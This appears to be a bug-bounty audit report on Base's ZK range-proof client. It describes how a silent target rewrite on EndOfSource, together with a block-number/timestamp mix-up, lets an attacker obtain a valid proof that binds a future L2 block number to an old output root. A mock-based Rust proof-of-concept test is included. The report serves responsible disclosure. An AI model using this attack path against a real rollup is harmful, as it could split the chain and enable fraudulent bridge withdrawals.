75369 bc medium zk range proof silently truncates derivation on endofsource and commits the original t r n permanent chain split when claimed l2 block number outruns the sequenced l1 bat

Submitted on Apr 28th 2026 at 18:37:08 UTC by @oxeix for Audit Comp | Base Azul

• Report ID: #75369

• Report Type: Blockchain/DLT

• Report severity: Medium

• Target: https://github.com/base/base/tree/v0.8.0-rc.28

• Impacts:

  • Unintended permanent chain split requiring hard fork (network partition requiring hard fork)

Description

Brief/Intro

advance_to_target (crates/proof/succinct/utils/client/src/client.rs:95-110) silently rewrites its target to the current safe head when the derivation pipeline returns PipelineError::EndOfSource, then returns Ok((safe_head_at_N, R_N, …)). The executor (crates/proof/succinct/utils/client/src/witness/executor.rs:158-179) only checks output_root == claimed_l2_output_root and returns boot_clone (line 198), so the original attacker-supplied claimed_l2_block_number = T flows into BootInfoStruct and onward into AggregationOutputs. The intended "fail loudly on Isthmus / Jovian / Azul" guard at line 106 is dead code: it passes a block number into is_isthmus_active(timestamp: u64) (crates/common/genesis/src/rollup.rs:258-262), and a Base block number (~10^7) is two orders of magnitude smaller than Isthmus's Unix activation timestamp (~10^9), so the comparison is false on every reachable Base block. The proof program therefore produces a valid SP1 proof of the false statement "block T's output root is R_N" for any attacker-chosen T > sequenced tip and any publicly observable canonical root R_N.

Vulnerability Details

End-to-end attack with no other dependencies:

1

1. Observe the canonical state

Attacker observes the canonical safe head N and its output root R_N (visible to anyone running a Base node).

2

2. Submit a witness

Submits a witness with:

• claimed_l2_block_number = T, where T > N (any value past the sequenced tip; safe_head + 1 works).

• claimed_l2_output_root = R_N.

• l1_head = real current L1 head.

3

3. Derivation silently truncates

Inside the SP1 program:

• get_inputs_for_pipeline accepts the inputs because T ≥ agreed_safe_head.number.

• advance_to_target(target = T) derives blocks. At block N, the pipeline exhausts L1 batches → PipelineError::EndOfSource.

• target is silently rewritten to N (client.rs:101). The Isthmus guard (client.rs:106) does nothing because of the timestamp/block-number type confusion, regardless of the active hardfork.

• Loop top reads tip_cursor.number = N >= tb = N → returns Ok((safe_head_at_N, R_N, …)).

4

4. Executor accepts the root only

Executor: R_N == boot.claimed_l2_output_root. No block-number assertion. Returns boot_clone (the original boot, with T and R_N).

5

5. Boot info and aggregation preserve the attacker’s block number

BootInfoStruct::new(...) (boot.rs:35-57) copies claimed_l2_block_number and claimed_l2_output_root verbatim into l2BlockNumber and l2PostRoot. The range program commits this struct.

The aggregation program (aggregation/src/main.rs:88-118) propagates last_boot_info.l2BlockNumber and last_boot_info.l2PostRoot into AggregationOutputs unchanged — the chain check at lines 29-42 only enforces prev.l2PostRoot == next.l2PreRoot, never re-derives the relationship between l2BlockNumber and l2PostRoot. Final on-chain consumable: keccak256(abi.encodePacked(AggregationOutputs)) with endingL2SequenceNumber = T and l2PostRoot = R_N.

Impact Details

Permanent chain split between L1-finalised state and canonical L2 state, anchored at every block T for which an attacker submits this poison proof

References

https://github.com/base/base/blob/main/crates/proof/succinct/utils/client/src/client.rsL95-110

Proof of Concept

    #[tokio::test]
    async fn poc_chain_split_at_commit_level_via_silent_target_rewrite() {
        use alloy_primitives::{Address as AlloyAddress, Bytes as AlloyBytes, keccak256};
        use alloy_sol_types::SolValue;

        use crate::{boot::BootInfoStruct, types::AggregationOutputs};

        const N: u64 = 100;
        const T: u64 = N + 5;
        let r_n =
            b256!("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa");
        let l1_head =
            b256!("dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd");
        let pre_state_root =
            b256!("9999999999999999999999999999999999999999999999999999999999999999");
        const PRE_BLOCK: u64 = N;

        let isthmus_unix: u64 = 1_735_689_600; // 2025-01-01 UTC
        let cfg = RollupConfig {
            hardforks: HardForkConfig {
                isthmus_time: Some(isthmus_unix),
                ..Default::default()
            },
            ..Default::default()
        };

        let cursor = make_cursor_at(N, r_n);
        let mut driver = Driver::new(
            Arc::clone(&cursor),
            MockExecutor,
            EndOfSourcePipeline { cfg: cfg.clone() },
        );

        let (safe_head, output_root, _intermediate_roots) =
            advance_to_target(&mut driver, &cfg, Some(T), 1).await.expect(
                "BUG: advance_to_target must return Ok despite EndOfSource (silent target rewrite). \
                 If this errors, the bug has been fixed and the PoC is no longer applicable.",
            );

 
        let claimed_l2_output_root = r_n; // attacker pre-set this to the publicly known R_N
        let claimed_l2_block_number = T; // attacker-chosen target
        assert_eq!(
            output_root, claimed_l2_output_root,
            "epilogue passes: attacker set claim = R_N, derivation reached R_N at block N, \
             output roots match"
        );
        assert_ne!(
            safe_head.block_info.number, claimed_l2_block_number,
            "BUG: derived block ({}) != claimed block ({}). The missing block-number \
             assertion lets this slip through.",
            safe_head.block_info.number, claimed_l2_block_number
        );

        let poisoned_boot_info = BootInfoStruct {
            l1Head: l1_head,
            l2PreRoot: pre_state_root,
            l2PostRoot: claimed_l2_output_root, // = R_N
            l2PreBlockNumber: PRE_BLOCK,
            l2BlockNumber: claimed_l2_block_number, // = T
            rollupConfigHash: B256::ZERO,
            intermediateRoots: AlloyBytes::new(),
        };

        let r_t_canonical =
            b256!("bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb");
        let canonical_boot_info = BootInfoStruct {
            l1Head: l1_head,            // same L1 head
            l2PreRoot: pre_state_root,  // same agreed pre-state
            l2PostRoot: r_t_canonical,  // ≠ R_N
            l2PreBlockNumber: PRE_BLOCK,
            l2BlockNumber: claimed_l2_block_number, // same T
            rollupConfigHash: B256::ZERO,
            intermediateRoots: AlloyBytes::new(),
        };

        let poisoned_pv_hash = keccak256(poisoned_boot_info.abi_encode());
        let canonical_pv_hash = keccak256(canonical_boot_info.abi_encode());

        let make_agg_outputs = |boot: &BootInfoStruct| AggregationOutputs {
            proverAddress: AlloyAddress::ZERO,
            l1Head: boot.l1Head,
            l2PreRoot: boot.l2PreRoot,
            startingL2SequenceNumber: boot.l2PreBlockNumber,
            l2PostRoot: boot.l2PostRoot,
            endingL2SequenceNumber: boot.l2BlockNumber,
            intermediateRoots: boot.intermediateRoots.clone(),
            rollupConfigHash: boot.rollupConfigHash,
            imageHash: B256::ZERO,
        };
        let poisoned_l1_digest = keccak256(make_agg_outputs(&poisoned_boot_info).abi_encode_packed());
        let canonical_l1_digest =
            keccak256(make_agg_outputs(&canonical_boot_info).abi_encode_packed());

        println!(
            "[chain-split PoC #3] CHAIN-SPLIT EVIDENCE (SP1 public-values level)\n\
             === RANGE PROGRAM (BootInfoStruct → keccak256(abi.encode)) ===\n  \
               poisoned : l2BlockNumber={p_t} l2PostRoot={p_root}\n    \
                 pv_hash = {poisoned_pv_hash}\n  \
               canonical: l2BlockNumber={c_t} l2PostRoot={c_root}\n    \
                 pv_hash = {canonical_pv_hash}\n\
             === AGGREGATION PROGRAM (keccak256(abi.encodePacked(AggregationOutputs))) ===\n  \
               poisoned  L1 digest = {poisoned_l1_digest}\n  \
               canonical L1 digest = {canonical_l1_digest}\n\
             === SUMMARY ===\n  \
               Same L2 block number (T = {c_t}), two different L2PostRoots,\n  \
               two different SP1 public-values digests. The poisoned digest is what the\n  \
               L1 dispute game would finalize once the attacker submits this proof first.\n  \
               Honest Base fullnodes following the STF produce the canonical digest at T.\n  \
               Bridge withdrawals validated against L1's outputs[T]=R_N pass with state\n  \
               proofs against state-at-N — including any UTXO/balance that existed at N\n  \
               but was spent / cancelled / re-orged in canonical post-N history.",
            p_t = poisoned_boot_info.l2BlockNumber,
            p_root = poisoned_boot_info.l2PostRoot,
            c_t = canonical_boot_info.l2BlockNumber,
            c_root = canonical_boot_info.l2PostRoot,
        );

        assert_ne!(
            poisoned_pv_hash, canonical_pv_hash,
            "[chain-split PoC #3] range-program public-values digests must differ for the \
             same block T (different l2PostRoot)"
        );
        assert_ne!(
            poisoned_l1_digest, canonical_l1_digest,
            "[chain-split PoC #3] aggregation L1 digests must differ for the same block T \
             - that IS the chain split. Two valid SP1 commitments for endingL2SequenceNumber={T} \
             with different l2PostRoots: the L1 dispute game finalizes the poisoned one, \
             honest fullnodes follow the canonical one, the chain is split."
        );
    }

Logs:

endingL2SequenceNumber = 105
poisoned  l2PostRoot=0xaaaa…aaaa  L1 digest = 0x80985ebf…1e3f45c1
canonical l2PostRoot=0xbbbb…bbbb  L1 digest = 0xe661a0f7…80bc8401